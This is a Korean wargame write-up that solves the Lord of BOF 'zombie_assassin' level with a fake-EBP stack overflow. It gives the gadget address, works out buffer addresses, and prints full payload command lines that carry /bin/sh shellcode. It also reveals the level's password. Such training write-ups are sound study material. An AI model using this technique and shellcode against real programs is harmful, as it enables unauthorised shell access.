LOB 문제풀기(Assassin => Zombie_Assassin)
가장 먼저 파일들을 살펴본다.
다음 zombie_assassin.c 의 코드를 살펴보면 버퍼크기는 40이고, 핵심은 argv[1][47] 의 값은 \xbf가 되서는 안되며 \x40의 값을 가져서도 안된다. 즉 리턴할 주소가 스택안의 주소에서 발생해서는 안되고, 라이브러리 함수를 이용해 익스플로잇 공격을 할수도 없다. 하지만 코드위에 FEBP 즉 fake ebp 공격을 하라고 알려준다. 이 공격은 sfp를 변조시켜 공격하는 것으로 FPO 공격과 비슷하지만 큰차이는 서브함수가 필요없이 return 할 주소로서 다시 leave-ret을 실시하도록 하여 exploit을 실행하도록 하는 공격방법이다.
페이로드를 구상해보면
4byte(&buffer+4) + 24byte(shellcode) + 12byte(null) + sfp(&buffer-4) + ret-leave garget(4byte ret값)
leave-ret garget 주소를 먼저 구한다.
다음과 같이 gdb를 이용하여 leave-ret garget 주소가 0x80484df 임을 알수가 있다.
그리고 본격적으로 &buffer-4, &buffer+4 의 주소를 구해보자
다음 main+139 위치에 브레이크포인트를 지정해 스택의 변화를 관찰해보자!
다음 스택을 통해 buffer의 시작 부분의 주소는 0xbffffcc0 임을 알수가 있다.
즉 &buffer-4 = 0xbffffc7c , &buffer+4 = 0xbffffc84 이다.
페이로드는
./zombie_assassin `python -c 'print "\x84\xfc\xff\xbf" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "
\x90"*12 + "\x7c\xfc\xff\xbf" + "\xdf\x84\x04\x08"'`
하지만 실패하였다. 그이유는 버퍼의 주소를 정확하게 알아내지 못하여서 그런것 같다.
그러므로 /tmp 디렉토리에 실행하여 core 파일을 분석해 봐야겠다.
여기서 내가 입력한 bffffc84가 실제로는 bffffc60 위치에 있음을 알수 있고, 즉 버퍼가 밀려 실제 버퍼의 시작 위치는 bffffc60 이다.
즉 &buffer-4 = 0xbffffc5c , &buffer+4 = 0xbffffc64 이다.
페이로드는
./zombie_assassin `python -c 'print "\x64\xfc\xff\xbf" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "
\x90"*12 + "\x5c\xfc\xff\xbf" + "\xdf\x84\x04\x08"'`
password는 no place to hide 이다.